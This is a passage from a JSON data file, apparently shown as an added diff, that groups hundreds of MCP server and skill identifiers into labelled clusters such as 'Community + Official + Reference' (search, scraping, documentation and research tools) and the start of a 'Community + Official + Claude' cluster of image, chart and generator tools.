"mcp-server:whatsapp-human-in-the-loop", + "mcp-server:whatsapp-macos", + "mcp-server:whatsapp-messenger", + "mcp-server:whatsapp-web", + "mcp-server:whisper", + "mcp-server:whissle", + "mcp-server:winautowx-wechat-desktop-automation", + "mcp-server:window-layout", + "mcp-server:windows-computer-use", + "mcp-server:windows-desktop-automation", + "mcp-server:windows-desktop-control", + "mcp-server:windows-driver-input", + "mcp-server:windows-forensics", + "mcp-server:windows-notifications", + "mcp-server:windows-remote-control", + "mcp-server:windows-screenshots", + "mcp-server:windows-system-control", + "mcp-server:windows-task-manager", + "mcp-server:winform-hybrid-chat", + "mcp-server:wxauto-wechat-desktop", + "mcp-server:xcode-bridge-wrapper", + "mcp-server:xiaomi-ai-speaker", + "mcp-server:xlights", + "mcp-server:yandex-speechkit", + "mcp-server:zonos-tts", + "mcp-server:zulip-chat" + ] + }, + "15": { + "label": "Community + Official + Reference", + "members": [ + "mcp-server:17track-package-tracking", + "mcp-server:1c-element-docs", + "mcp-server:3gpp-research-guidance", + "mcp-server:academia", + "mcp-server:academic-author-network", + "mcp-server:academic-paper-search", + "mcp-server:academic-research", + "mcp-server:accessibility-audit", + "mcp-server:adzuna-job-search", + "mcp-server:aeo-audit", + "mcp-server:agent-domain-search", + "mcp-server:agent-toolbox", + "mcp-server:agno-docs", + "mcp-server:ai-connect", + "mcp-server:ai-cursor-scraping-assistant", + "mcp-server:ai-research-agent", + "mcp-server:airweave-search", + "mcp-server:alfanous", + "mcp-server:alfresco-content-services", + "mcp-server:algolia-search", + "mcp-server:all-your-base64", + "mcp-server:alterlab", + "mcp-server:amap-gaode-maps", + "mcp-server:amateurs-community-search", + "mcp-server:amazon-connect", + "mcp-server:amazon-price-scraper", + "mcp-server:aminer", + "mcp-server:android-code-search", + "mcp-server:anilist", + "mcp-server:anycrawl", + "mcp-server:anysite", + "mcp-server:apex-twitter", + "mcp-server:apifox-documentation", + "mcp-server:apify", + "mcp-server:apify-rag-web-browser", + "mcp-server:apolo-rag", + "mcp-server:apple-books", + "mcp-server:apple-deep-docs", + "mcp-server:apple-developer-docs", + "mcp-server:apple-developer-documentation", + "mcp-server:apple-developer-documentation-rag", + "mcp-server:apple-search-ads", + "mcp-server:appwrite-docs", + "mcp-server:archive-agent", + "mcp-server:arcknowledge-custom-rag", + "mcp-server:arxiv", + "mcp-server:arxiv-by-cyanheads", + "mcp-server:arxiv-papers", + "mcp-server:arxiv-search", + "mcp-server:ashby-recruiting", + "mcp-server:astro-docs", + "mcp-server:at-protocol-documentation", + "mcp-server:atlas-przetarg-w", + "mcp-server:atlas-vector-search-docs", + "mcp-server:auteng-docs", + "mcp-server:authzed-documentation", + "mcp-server:autonavi-amap", + "mcp-server:avalanche-docs", + "mcp-server:averra-extract", + "mcp-server:avukatim", + "mcp-server:aws-documentation", + "mcp-server:aws-lambda-powertools-documentation-search", + "mcp-server:axion-google-earth-engine", + "mcp-server:axon-research", + "mcp-server:axure-prototype-extractor", + "mcp-server:baidu-content-safety", + "mcp-server:baidu-maps", + "mcp-server:baidu-search", + "mcp-server:barnsworthburning-search", + "mcp-server:baseline-web-platform-compatibility", + "mcp-server:bayesian-monte-carlo-tree-search", + "mcp-server:begonia", + "mcp-server:better-fetch", + "mcp-server:bevy-docs-search", + "mcp-server:beyond-social-farcaster", + "mcp-server:bilibili-search", + "mcp-server:bing-search", + "mcp-server:bing-search-scraper", + "mcp-server:bocha-search", + "mcp-server:bocha-web-search", + "mcp-server:book-fetch-library-genesis", + "mcp-server:book-metadata", + "mcp-server:bootstrapblazor-documentation", + "mcp-server:brave-deep-research", + "mcp-server:brave-search", + "mcp-server:brave-search-cloudflare", + "mcp-server:brave-search-sse", + "mcp-server:browser-history-search", + "mcp-server:browser-scraping-search", + "mcp-server:bsl-atlas", + "mcp-server:c2pa-content-credentials", + "mcp-server:cangje-docs", + "mcp-server:cardea-web-search-tavily", + "mcp-server:career-break-resilience-resume-optimizer", + "mcp-server:cbeta-buddhist-texts", + "mcp-server:cdata-connect-ai", + "mcp-server:chrome-web-store", + "mcp-server:citeassist-citation-retrieval", + "mcp-server:citedy-seo-agent", + "mcp-server:cl-firecrawl", + "mcp-server:claude-deep-research", + "mcp-server:claude-web-search", + "mcp-server:clerk-docs", + "mcp-server:clever-cloud-documentation", + "mcp-server:clojars-dependency-versions", + "mcp-server:cloudflare-docs-search", + "mcp-server:cloudflare-documentation", + "mcp-server:code-search", + "mcp-server:codebase-rag", + "mcp-server:content-core", + "mcp-server:content-genie", + "mcp-server:content-manager", + "mcp-server:content-optimizer-by-sharozdawa", + "mcp-server:contentful-delivery", + "mcp-server:context7-documentation-database", + "mcp-server:continue-docs", + "mcp-server:copy-paste-line-extractor", + "mcp-server:cortex-cloud-docs", + "mcp-server:cowork-history", + "mcp-server:craft-content", + "mcp-server:crawl4ai", + "mcp-server:crawl4ai-rag", + "mcp-server:crawl4ai-web-crawler", + "mcp-server:crawl4ai-web-scraping-crawling", + "mcp-server:crawlab", + "mcp-server:crawleo", + "mcp-server:criterion", + "mcp-server:crossref-academic-papers", + "mcp-server:crossref-citation", + "mcp-server:crw", + "mcp-server:cv-resume-builder", + "mcp-server:cve-search", + "mcp-server:day-one-journal", + "mcp-server:day-planner-dashboard", + "mcp-server:db-metadata-extractor", + "mcp-server:dbt-semantic-layer", + "mcp-server:dead-drop-content", + "mcp-server:decodo-web-scraper", + "mcp-server:deep-research", + "mcp-server:deep-research-tavily", + "mcp-server:deep-search", + "mcp-server:deep-web-research", + "mcp-server:deepcontext-semantic-code-search", + "mcp-server:defuddle-fetch", + "mcp-server:dependency-checker", + "mcp-server:dependency-doctor", + "mcp-server:developer-documentation", + "mcp-server:devexpress-documentation", + "mcp-server:discourse-search", + "mcp-server:doc-fetcher-dash", + "mcp-server:doc-scraper-jina-ai", + "mcp-server:docs-fetcher", + "mcp-server:docs-provider", + "mcp-server:docs-rag", + "mcp-server:docs-rs", + "mcp-server:docs-scraper", + "mcp-server:document-crawler-search", + "mcp-server:document-indexer", + "mcp-server:documentation-crawler", + "mcp-server:documentation-management-system", + "mcp-server:documentation-manager", + "mcp-server:documentation-retrieval-python-libraries", + "mcp-server:documentation-scraper", + "mcp-server:documentation-search", + "mcp-server:documentation-search-groq-serper", + "mcp-server:docusign-navigator", + "mcp-server:docy-documentation-access", + "mcp-server:domain-search", + "mcp-server:douyin", + "mcp-server:douyin-xiaohongshu-content-extractor", + "mcp-server:dracor-drama-corpora-project", + "mcp-server:drf-docs", + "mcp-server:duckduckgo", + "mcp-server:duckduckgo-search", + "mcp-server:duyet-professional-profile", + "mcp-server:dynamics-365-f-o-semantic", + "mcp-server:ean-search", + "mcp-server:easysearch", + "mcp-server:echarts-docs", + "mcp-server:eigenlayer-documentation", + "mcp-server:ekap-v2-turkish-government-procurement", + "mcp-server:elastic-semantic-search", + "mcp-server:elasticsearch", + "mcp-server:embedding-search", + "mcp-server:emergency-medicare-planner", + "mcp-server:eu-audit-trail", + "mcp-server:everything-search", + "mcp-server:exa", + "mcp-server:exa-ai", + "mcp-server:exa-pool", + "mcp-server:exa-search", + "mcp-server:exa-search-daedalus", + "mcp-server:exa-web-search", + "mcp-server:ezbiz-seo-marketing", + "mcp-server:fast-pyairbyte", + "mcp-server:fbi-wanted", + "mcp-server:fedramp-docs", + "mcp-server:feishu", + "mcp-server:feishu-bitable", + "mcp-server:feishu-lark", + "mcp-server:feishu-lark-enhanced-messaging", + "mcp-server:feishu-open-platform-docs", + "mcp-server:ferris-search", + "mcp-server:fetch", + "mcp-server:fetch-and-convert", + "mcp-server:fetch-browser", + "mcp-server:fetch-jsonpath", + "mcp-server:fetch-mozilla-readability", + "mcp-server:fetch-typescript", + "mcp-server:fetch-url", + "mcp-server:fetch-with-images", + "mcp-server:file-search-service", + "mcp-server:find-flights-duffel", + "mcp-server:firecrawl", + "mcp-server:flight-search", + "mcp-server:flutter-documentation", + "mcp-server:football-docs", + "mcp-server:french-business-search", + "mcp-server:fusionauth-documentation", + "mcp-server:garmin-connect", + "mcp-server:garmin-connect-china", + "mcp-server:garmin-connect-iq-documentation", + "mcp-server:garmin-workouts", + "mcp-server:gcp", + "mcp-server:gemini-with-web-search", + "mcp-server:gene-ontology", + "mcp-server:geo-agent", + "mcp-server:giskard-search", + "mcp-server:git-spice-documentation-search", + "mcp-server:github-pages-documentation", + "mcp-server:gleanmark-trademark-search", + "mcp-server:glowpost", + "mcp-server:glp-1-search", + "mcp-server:go-documentation", + "mcp-server:godot-documentation", + "mcp-server:godot-documentation-rag", + "mcp-server:google-ad-manager", + "mcp-server:google-ads-by-pijusz", + "mcp-server:google-ai-studio", + "mcp-server:google-air-quality", + "mcp-server:google-analytics-4", + "mcp-server:google-analytics-search-console", + "mcp-server:google-android-management", + "mcp-server:google-apps-script-api", + "mcp-server:google-chat", + "mcp-server:google-classroom", + "mcp-server:google-cloud", + "mcp-server:google-cloud-cli", + "mcp-server:google-cloud-compliance-manager", + "mcp-server:google-cloud-platform", + "mcp-server:google-cloud-run", + "mcp-server:google-colab-executor", + "mcp-server:google-contacts", + "mcp-server:google-custom-search", + "mcp-server:google-docs", + "mcp-server:google-docs-creator", + "mcp-server:google-docs-sheets", + "mcp-server:google-drive", + "mcp-server:google-drive-classifier", + "mcp-server:google-drive-enhanced", + "mcp-server:google-drive-sheets", + "mcp-server:google-earth-engine", + "mcp-server:google-flights", + "mcp-server:google-forms", + "mcp-server:google-jobs", + "mcp-server:google-keep", + "mcp-server:google-maps", + "mcp-server:google-maps-places", + "mcp-server:google-maps-platform-code-assist", + "mcp-server:google-maps-travel-planner", + "mcp-server:google-news", + "mcp-server:google-news-trends", + "mcp-server:google-patents-serpapi", + "mcp-server:google-play-console", + "mcp-server:google-programmable-search-engine", + "mcp-server:google-research", + "mcp-server:google-search", + "mcp-server:google-search-console", + "mcp-server:google-search-console-by-pijusz", + "mcp-server:google-search-console-crunchtools", + "mcp-server:google-search-console-rust", + "mcp-server:google-search-console-sarahpark", + "mcp-server:google-search-gemini", + "mcp-server:google-search-via-chrome", + "mcp-server:google-secops-toolkit", + "mcp-server:google-serp", + "mcp-server:google-sheets", + "mcp-server:google-sheets-analytics", + "mcp-server:google-spreadsheets", + "mcp-server:google-stitch", + "mcp-server:google-tasks", + "mcp-server:google-toolbox", + "mcp-server:google-workspace", + "mcp-server:google-workspace-automation", + "mcp-server:google-workspace-developer-tools", + "mcp-server:gopher-ai-twitter-search", + "mcp-server:goveda-patent-search", + "mcp-server:gpt-researcher", + "mcp-server:gramps-web", + "mcp-server:gridinsoft-website-inspector", + "mcp-server:gridwork-site-audit", + "mcp-server:groundx-rag", + "mcp-server:gtex-portal", + "mcp-server:gtm-ga4", + "mcp-server:guidance-lark", + "mcp-server:gw150914-signal-search", + "mcp-server:h-1b-job-search", + "mcp-server:haiku-rag", + "mcp-server:headhunter-hh-ru", + "mcp-server:headhunter-jobs", + "mcp-server:hebbian-vault-search", + "mcp-server:hermes-search-azure-cognitive-search", + "mcp-server:hevy-garmin", + "mcp-server:hexo-blog-rag", + "mcp-server:higress-ai-search", + "mcp-server:hirebase-job-search", + "mcp-server:hmr-docs", + "mcp-server:hono-docs", + "mcp-server:hotnews-chinese-social", + "mcp-server:houtini-seo-crawler", + "mcp-server:hr-compensation", + "mcp-server:html-page-preview", + "mcp-server:http-cat", + "mcp-server:huawei-appgallery-connect", + "mcp-server:hugging-face-hub-search", + "mcp-server:huntflow", + "mcp-server:huoshui-fetch", + "mcp-server:huoshui-file-search", + "mcp-server:ibm-content-services-filenet", + "mcp-server:ietf-rfc-documents", + "mcp-server:indexnow-by-sharozdawa", + "mcp-server:inkeep-rag", + "mcp-server:inkwell", + "mcp-server:instagram", + "mcp-server:instagram-direct-messages", + "mcp-server:instagram-dm", + "mcp-server:instagram-engagement", + "mcp-server:instagram-threads", + "mcp-server:internet-archive", + "mcp-server:iteratools", + "mcp-server:jekyll-blog", + "mcp-server:jewish-library", + "mcp-server:jina-ai-reader", + "mcp-server:jina-supabase-rag", + "mcp-server:jina-web-search", + "mcp-server:jinaai-search", + "mcp-server:jobapply", + "mcp-server:jobgpt", + "mcp-server:jobsbase", + "mcp-server:jobseek", + "mcp-server:jolt-transform-web", + "mcp-server:jotai-documentation", + "mcp-server:journal-rag", + "mcp-server:juce-docs", + "mcp-server:julia-documentation", + "mcp-server:junipr-web-scraper", + "mcp-server:jwt-auditor", + "mcp-server:kael", + "mcp-server:kagi-search", + "mcp-server:kb-rag", + "mcp-server:kerio-connect", + "mcp-server:key-value-extractor", + "mcp-server:keyword-research", + "mcp-server:kivv", + "mcp-server:kiwi-flight-search", + "mcp-server:kkj-public-procurement-search", + "mcp-server:klipper-documentation", + "mcp-server:kollektiv-document-management", + "mcp-server:koon-web-fetch", + "mcp-server:korean-job-search", + "mcp-server:lancedb-vector-search", + "mcp-server:langextract-web", + "mcp-server:langflow-document-qa", + "mcp-server:lark", + "mcp-server:lark-base", + "mcp-server:lark-bitable", + "mcp-server:lean-mathlib-4-documentation", + "mcp-server:lenny-rag", + "mcp-server:letxipu-academic-search", + "mcp-server:lg-webos-tv-docs", + "mcp-server:license-audit", + "mcp-server:light-research", + "mcp-server:lighthouse", + "mcp-server:lighthouse-performance-auditing", + "mcp-server:linkedin", + "mcp-server:linkedin-gohyperdev", + "mcp-server:linkedin-job-search", + "mcp-server:linkedin-ligo", + "mcp-server:linkedin-post", + "mcp-server:linkedin-posts-hunter", + "mcp-server:linkedin-profile-scraper", + "mcp-server:linkedin-scraper", + "mcp-server:linkedin-ushurbakiyevdavlat", + "mcp-server:linkup-search", + "mcp-server:lionscraper", + "mcp-server:lit", + "mcp-server:litra", + "mcp-server:llm-energy-documentation-extractor", + "mcp-server:llm-optimizer", + "mcp-server:llm-search-engine", + "mcp-server:llms-txt-documentation", + "mcp-server:local-code-search", + "mcp-server:local-docs", + "mcp-server:local-faiss", + "mcp-server:local-rag", + "mcp-server:local-web-search", + "mcp-server:logos-bible-software", + "mcp-server:loxo-recruitment", + "mcp-server:manticore-search", + "mcp-server:map-traveler", + "mcp-server:mapbox-docs", + "mcp-server:mappls-maps", + "mcp-server:marginalia-search", + "mcp-server:mariadb-cloud-hybrid-rag-search", + "mcp-server:markdown-web-crawl", + "mcp-server:mastra-docs", + "mcp-server:mathematica-docs", + "mcp-server:mattermost-fetch", + "mcp-server:maven-dependencies", + "mcp-server:mcpoogle-mcp-search", + "mcp-server:mcpunk-roaming-rag", + "mcp-server:media-crawler-chinese-social-platforms", + "mcp-server:medium-accelerator", + "mcp-server:medrxiv-research", + "mcp-server:medusa-js-documentation", + "mcp-server:meilisearch-hybrid-search", + "mcp-server:memex-firecrawl-voyage", + "mcp-server:meteor-js-documentation", + "mcp-server:mifactory-scraping", + "mcp-server:mind-map", + "mcp-server:minima-local-rag", + "mcp-server:mkdocs-search", + "mcp-server:mta-sa-docs", + "mcp-server:multi-agent-research-sandbox", + "mcp-server:multi-document-rag", + "mcp-server:mytrip-ai-studio-serpapi-travel", + "mcp-server:naver-maps", + "mcp-server:naver-search", + "mcp-server:neocortica-scholar", + "mcp-server:nestjs-docs", + "mcp-server:next-js-documentation", + "mcp-server:nexus-openrouter-search", + "mcp-server:nixos-search", + "mcp-server:nobel-prize", + "mcp-server:node-fetch", + "mcp-server:not-human-search", + "mcp-server:npm", + "mcp-server:npm-helper", + "mcp-server:npm-package-documentation", + "mcp-server:npm-package-manager", + "mcp-server:npm-package-search", + "mcp-server:npm-plus", + "mcp-server:npm-registry", + "mcp-server:npm-run", + "mcp-server:npm-search", + "mcp-server:nutrient-document-web-services", + "mcp-server:o-reilly-content-search", + "mcp-server:obaron-aeo", + "mcp-server:octagon-deep-research", + "mcp-server:octagon-investment-research", + "mcp-server:octoboost-seo", + "mcp-server:oil-gas-rag", + "mcp-server:ollama-deep-researcher", + "mcp-server:olostep", + "mcp-server:omniclip-rag", + "mcp-server:one-search", + "mcp-server:onecite", + "mcp-server:ontology-lookup-service", + "mcp-server:open-agent-search", + "mcp-server:open-brain", + "mcp-server:open-collective", + "mcp-server:open-deep-research", + "mcp-server:open-docs-technical-documentation-search", + "mcp-server:open-eagle-eye", + "mcp-server:open-horizon", + "mcp-server:open-library", + "mcp-server:open-notebook", + "mcp-server:open-search", + "mcp-server:open-targets", + "mcp-server:open-web-search", + "mcp-server:open-zk-kb", + "mcp-server:openai-o3-search", + "mcp-server:openai-websearch", + "mcp-server:openapi-documentation", + "mcp-server:openapi-search", + "mcp-server:openfda-semantic", + "mcp-server:opengradient-docs", + "mcp-server:openrouter-deep-research", + "mcp-server:opensearch-documentation", + "mcp-server:owl-web-ontology-language", + "mcp-server:oxylabs-web-scraping", + "mcp-server:package-docs", + "mcp-server:package-documentation-fetcher", + "mcp-server:package-manager", + "mcp-server:package-privacy", + "mcp-server:package-search", + "mcp-server:package-version-check", + "mcp-server:package-version-checker", + "mcp-server:paper-chaser", + "mcp-server:paper-distill", + "mcp-server:paper-find", + "mcp-server:paper-invest", + "mcp-server:paper-pilot", + "mcp-server:paper-search", + "mcp-server:paperlib", + "mcp-server:paperpal", + "mcp-server:paperqa2", + "mcp-server:papersearch-arxiv", + "mcp-server:papersflow", + "mcp-server:paperswithcode", + "mcp-server:parallel-search", + "mcp-server:pare-search", + "mcp-server:pathscan-dirsearch-firecrawl", + "mcp-server:pdf-search", + "mcp-server:peeky-search", + "mcp-server:perplexity", + "mcp-server:perplexity-advanced", + "mcp-server:perplexity-ai", + "mcp-server:perplexity-ai-search", + "mcp-server:perplexity-comet", + "mcp-server:perplexity-insight", + "mcp-server:perplexity-research", + "mcp-server:perplexity-research-assistant", + "mcp-server:perplexity-researcher", + "mcp-server:perplexity-search", + "mcp-server:perplexity-sonar", + "mcp-server:perplexity-web", + "mcp-server:perplexity-web-search", + "mcp-server:phos-marketing-engine", + "mcp-server:pinecone-vector-db", + "mcp-server:pluggo", + "mcp-server:pokemon-tcg-card-search", + "mcp-server:polish-academic", + "mcp-server:prestashop-documentation", + "mcp-server:prisma-cloud-docs", + "mcp-server:probe-documentation-search", + "mcp-server:profile-researcher", + "mcp-server:prosearch-tencent", + "mcp-server:proton-drive", + "mcp-server:prysm-web-scraper", + "mcp-server:pub-dev-package-search", + "mcp-server:pubmed-medical-literature-research", + "mcp-server:pubmed-research", + "mcp-server:pubmed-search", + "mcp-server:puch-interactive-mind-maps", + "mcp-server:puchai-resume-portfolio", + "mcp-server:pulse-fetch", + "mcp-server:puppeteer-vision-web-scraper", + "mcp-server:pydantic-ai-docs", + "mcp-server:python-docs", + "mcp-server:python-documentation-search", + "mcp-server:pytorch-documentation-search", + "mcp-server:pyx", + "mcp-server:qdrant-docs-rag", + "mcp-server:qdrant-retrieve", + "mcp-server:qdrant-with-openai-embeddings", + "mcp-server:quantitative-research", + "mcp-server:quran-search", + "mcp-server:quran-search-engine", + "mcp-server:qwen-max", + "mcp-server:qwen-package-manager", + "mcp-server:rag", + "mcp-server:rag-anything", + "mcp-server:rag-docs", + "mcp-server:rag-document-q-a", + "mcp-server:rag-document-search", + "mcp-server:rag-documentation", + "mcp-server:rag-documentation-search", + "mcp-server:rag-duckdb", + "mcp-server:rag-vault", + "mcp-server:ragdocs-vector-documentation-search", + "mcp-server:ragie", + "mcp-server:ragora", + "mcp-server:ragrabbit", + "mcp-server:ragstack", + "mcp-server:reactive-resume", + "mcp-server:read-website-fast", + "mcp-server:readability-fetch-parse", + "mcp-server:recite", + "mcp-server:reddit-extractor", + "mcp-server:reddit-research", + "mcp-server:rednote-xiaohongshu", + "mcp-server:redpanda-docs", + "mcp-server:ref", + "mcp-server:repository-search", + "mcp-server:research-mcps", + "mcp-server:research-multi-api-search", + "mcp-server:research-notion", + "mcp-server:research-orchestration", + "mcp-server:research-report", + "mcp-server:research-router", + "mcp-server:researchtwin", + "mcp-server:restaurant-booking-google-maps", + "mcp-server:rimcp-hybrid", + "mcp-server:roam-research", + "mcp-server:robinhood-portfolio-research", + "mcp-server:roblox-docs", + "mcp-server:rock-website-crawler", + "mcp-server:rss-reader-google-reader-api", + "mcp-server:runbook-documentation", + "mcp-server:rust-docs", + "mcp-server:rust-documentation", + "mcp-server:rust-local-rag", + "mcp-server:s-box-docs", + "mcp-server:saasus-platform-docs", + "mcp-server:safe-mcp-google-analytics", + "mcp-server:safe-packages", + "mcp-server:salesforce-docs", + "mcp-server:sankhya-erp-docs", + "mcp-server:sap-docs", + "mcp-server:scapegraph", + "mcp-server:scholar", + "mcp-server:scholar-sidekick", + "mcp-server:scholarfetch-by-laibniz", + "mcp-server:scholarly-arxiv", + "mcp-server:scholarly-research-tools", + "mcp-server:scholarmcp", + "mcp-server:scholarscope-openalex", + "mcp-server:science", + "mcp-server:scite", + "mcp-server:scopus", + "mcp-server:scopus-academic-search", + "mcp-server:scorchcrawl", + "mcp-server:scrapbox", + "mcp-server:scrapebadger", + "mcp-server:scrapeless-google-search", + "mcp-server:scraper", + "mcp-server:scraper-is", + "mcp-server:scrapezy", + "mcp-server:scrapfly", + "mcp-server:scrapi", + "mcp-server:scrapling", + "mcp-server:scrapling-fetch", + "mcp-server:scrappey", + "mcp-server:scrapybara-virtual-ubuntu", + "mcp-server:screaming-frog-seo-spider", + "mcp-server:search", + "mcp-server:search-engines-proxy", + "mcp-server:search-fusion", + "mcp-server:search-intent-ai", + "mcp-server:search-scrape-searxng", + "mcp-server:search-stack", + "mcp-server:search-ui-tars", + "mcp-server:searchcode", + "mcp-server:searxng", + "mcp-server:searxng-meta-search", + "mcp-server:searxng-public", + "mcp-server:searxng-search", + "mcp-server:secondhand-marketplace-search", + "mcp-server:semantic-frame", + "mcp-server:semantic-scholar", + "mcp-server:seo-ai-google-ads-keyword-planner", + "mcp-server:seo-analyzer", + "mcp-server:seo-audit", + "mcp-server:seo-checker", + "mcp-server:seo-inspector", + "mcp-server:seo-linkmap", + "mcp-server:seo-review-tools", + "mcp-server:seo-tools-rog0x", + "mcp-server:seo-web-analysis", + "mcp-server:serpapi-google-search", + "mcp-server:serper-google-search", + "mcp-server:serper-search", + "mcp-server:serper-search-and-scrape", + "mcp-server:shadowcrawl", + "mcp-server:shortlist-jobs", + "mcp-server:silkworm", + "mcp-server:simple-fetch-tool", + "mcp-server:simple-tool-website-fetcher", + "mcp-server:simple-website-fetcher", + "mcp-server:site-audit", + "mcp-server:skillmatch", + "mcp-server:slack-search", + "mcp-server:slunk-slack-conversation-search", + "mcp-server:smithsonian-open-access", + "mcp-server:social-content", + "mcp-server:social-media", + "mcp-server:social-media-sync", + "mcp-server:social-profile-lookup", + "mcp-server:social-search", + "mcp-server:socialapis", + "mcp-server:software-documentation-analysis", + "mcp-server:sola", + "mcp-server:solr-vector-search", + "mcp-server:source-library", + "mcp-server:sourceweave-web-search", + "mcp-server:space-frontiers-search", + "mcp-server:spark-optimizer", + "mcp-server:spider-web-scraper", + "mcp-server:spryker-package-search", + "mcp-server:spurs-blog-pounding-the-rock", + "mcp-server:stadia-maps", + "mcp-server:stealth-fetch", + "mcp-server:stimulus-docs", + "mcp-server:stitch", + "mcp-server:stobo-seo-audit", + "mcp-server:stock-news-search-tavily", + "mcp-server:straight-connect", + "mcp-server:street-view", + "mcp-server:stride28-search", + "mcp-server:supadata", + "mcp-server:superjob", + "mcp-server:suppr", + "mcp-server:svelte-docs", + "mcp-server:svelte-documentation", + "mcp-server:swift-package-manager-dependencies", + "mcp-server:synthetic-search", + "mcp-server:synthetic-web-search", + "mcp-server:tagny-web-access", + "mcp-server:tambo-documentation", + "mcp-server:tarteel", + "mcp-server:tashan-scispark-research-assistant", + "mcp-server:tavily-extract", + "mcp-server:tavily-search", + "mcp-server:team-docs", + "mcp-server:technical-documentation-search", + "mcp-server:terragrunt-documentation", + "mcp-server:the-crawler", + "mcp-server:the-guardian", + "mcp-server:threat-research", + "mcp-server:time-travel", + "mcp-server:tinyfish-web-agent", + "mcp-server:tku-academic-systems-tronclass-tku-ilife", + "mcp-server:tocharianou-elasticsearch", + "mcp-server:tooloracle-jobs", + "mcp-server:tooloracle-rank", + "mcp-server:trace-search", + "mcp-server:travel", + "mcp-server:trendy-post-xiaohongshu", + "mcp-server:tripadvisor-vacation-planner", + "mcp-server:turbo-docs", + "mcp-server:turkpatent", + "mcp-server:turkpatent-search", + "mcp-server:tweetsave", + "mcp-server:twig-rag-agents", + "mcp-server:twikit", + "mcp-server:twitter", + "mcp-server:twitter-connect", + "mcp-server:twitter-noauth", + "mcp-server:twitter-scraper", + "mcp-server:twitter-search", + "mcp-server:twitter-timeline", + "mcp-server:twitterapi-io-docs", + "mcp-server:typesense-candidate-search", + "mcp-server:uk-co-propbar-research", + "mcp-server:ukagaka-docs", + "mcp-server:uniarticles", + "mcp-server:unknowncheats", + "mcp-server:url-fetch", + "mcp-server:url-fetcher", + "mcp-server:url-text-fetcher", + "mcp-server:usescraper", + "mcp-server:vector-search", + "mcp-server:vertex-ai-search", + "mcp-server:video-streaming-search", + "mcp-server:visa-jobs", + "mcp-server:vonage-documentation", + "mcp-server:vueuse-docs", + "mcp-server:watercrawl", + "mcp-server:wazuh", + "mcp-server:web-and-python-sandbox", + "mcp-server:web-audit", + "mcp-server:web-content-explorer", + "mcp-server:web-content-extractor", + "mcp-server:web-content-pick", + "mcp-server:web-crawler", + "mcp-server:web-crawler-data-bridge", + "mcp-server:web-curl", + "mcp-server:web-extended-toolkit", + "mcp-server:web-fetch", + "mcp-server:web-fetcher", + "mcp-server:web-prototyping", + "mcp-server:web-research", + "mcp-server:web-scraper", + "mcp-server:web-scraper-duckduckgo-search", + "mcp-server:web-search", + "mcp-server:web-search-and-semantic-similarity", + "mcp-server:web-search-brave", + "mcp-server:web-search-fast", + "mcp-server:web-standards-specs", + "mcp-server:web-to-ios-converter", + "mcp-server:web-tools-rog0x", + "mcp-server:web-topic", + "mcp-server:web-ui-copy", + "mcp-server:web-ux-evaluator", + "mcp-server:web3-career", + "mcp-server:webclaw", + "mcp-server:webclone", + "mcp-server:webforai-text-extractor", + "mcp-server:webscraping-ai", + "mcp-server:websearch", + "mcp-server:websearch-google", + "mcp-server:website-downloader", + "mcp-server:website-downloader-windows", + "mcp-server:weibo", + "mcp-server:wordware-research", + "mcp-server:workspace", + "mcp-server:world-airfares-flight-search", + "mcp-server:writer-blog-search-substack-medium", + "mcp-server:writer-s-aid", + "mcp-server:wso2-docs", + "mcp-server:x-tweets", + "mcp-server:x-twitter", + "mcp-server:x-twitter-scraper", + "mcp-server:xactions", + "mcp-server:xcatcher", + "mcp-server:xcode-documentation", + "mcp-server:xiaohongshu", + "mcp-server:xiaohongshu-little-red-book", + "mcp-server:xiaohongshu-poster", + "mcp-server:xiaohongshu-rednote", + "mcp-server:xiaohongshu-search-and-comment", + "mcp-server:xmind-mind-maps", + "mcp-server:xpath", + "mcp-server:xquik", + "mcp-server:yandex-direct", + "mcp-server:yandex-maps-reviews", + "mcp-server:yandex-webmaster", + "mcp-server:yard-documentation", + "mcp-server:you-com-web-access-ai", + "mcp-server:youtube-search", + "mcp-server:zenrows", + "mcp-server:zerops-documentation", + "mcp-server:zoom-workspace", + "mcp-server:zotero-chunk-rag", + "skill:adhx", + "skill:alpha-research", + "skill:citation-management", + "skill:exa-search", + "skill:hugging-face-paper-publisher", + "skill:hugging-face-papers", + "skill:hybrid-search-implementation", + "skill:jobgpt", + "skill:jobs", + "skill:session-search" + ] + }, + "16": { + "label": "Community + Official + Claude", + "members": [ + "mcp-server:3d-relief-generator", + "mcp-server:4o-image", + "mcp-server:abell-static-site-generator", + "mcp-server:acedatacloud-ai-generators", + "mcp-server:acedatacloud-flux", + "mcp-server:acedatacloud-hailuo", + "mcp-server:acedatacloud-kling", + "mcp-server:acedatacloud-luma", + "mcp-server:acedatacloud-midjourney", + "mcp-server:acedatacloud-nanobanana", + "mcp-server:acedatacloud-producer", + "mcp-server:acedatacloud-seedance", + "mcp-server:acedatacloud-seedream", + "mcp-server:acedatacloud-serp", + "mcp-server:acedatacloud-shorturl", + "mcp-server:acedatacloud-sora", + "mcp-server:acedatacloud-suno", + "mcp-server:acedatacloud-veo", + "mcp-server:acedatacloud-wan", + "mcp-server:achriom", + "mcp-server:adobe-photoshop-by-alisaitteke", + "mcp-server:adr-generator", + "mcp-server:ai-diagram-maker", + "mcp-server:ai-diagram-prototype-generator", + "mcp-server:ai-vision", + "mcp-server:airflow-etl-pipeline-generator", + "mcp-server:airgen", + "mcp-server:all-in-one", + "mcp-server:amcharts-5", + "mcp-server:anima", + "mcp-server:anima-anime-generator", + "mcp-server:animagine-xl", + "mcp-server:antibanana", + "mcp-server:antv-chart-generator", + "mcp-server:antv-chart-vis", + "mcp-server:antv-visualization-libraries", + "mcp-server:apache-echarts", + "mcp-server:apostrophe-cms-generator", + "mcp-server:artifex", + "mcp-server:artscii", + "mcp-server:aseprite", + "mcp-server:ask-gemini", + "mcp-server:auto-favicon", + "mcp-server:b12-website-generator", + "mcp-server:banana-image-gemini", + "mcp-server:banana-prompts", + "mcp-server:bangumi-tv", + "mcp-server:barcode-generator", + "mcp-server:base-flash-arbitrage", + "mcp-server:black-forest-labs", + "mcp-server:blueprint", + "mcp-server:bluraysuchmaschine", + "mcp-server:buu-ai-3d-model-generator", + "mcp-server:canvas-lms", + "mcp-server:ccphoto", + "mcp-server:cgv-cinema", + "mcp-server:chart-canvas", + "mcp-server:charta", + "mcp-server:chartpane", + "mcp-server:charts-antv", + "mcp-server:cinema-4d", + "mcp-server:clipboard-image", + "mcp-server:cloudflare-ai-image", + "mcp-server:code-summarizer-gemini-flash", + "mcp-server:color-palette-generator", + "mcp-server:comfy-stable-diffusion", + "mcp-server:comfyui", + "mcp-server:comfyui-pro", + "mcp-server:computer-vision-tools", + 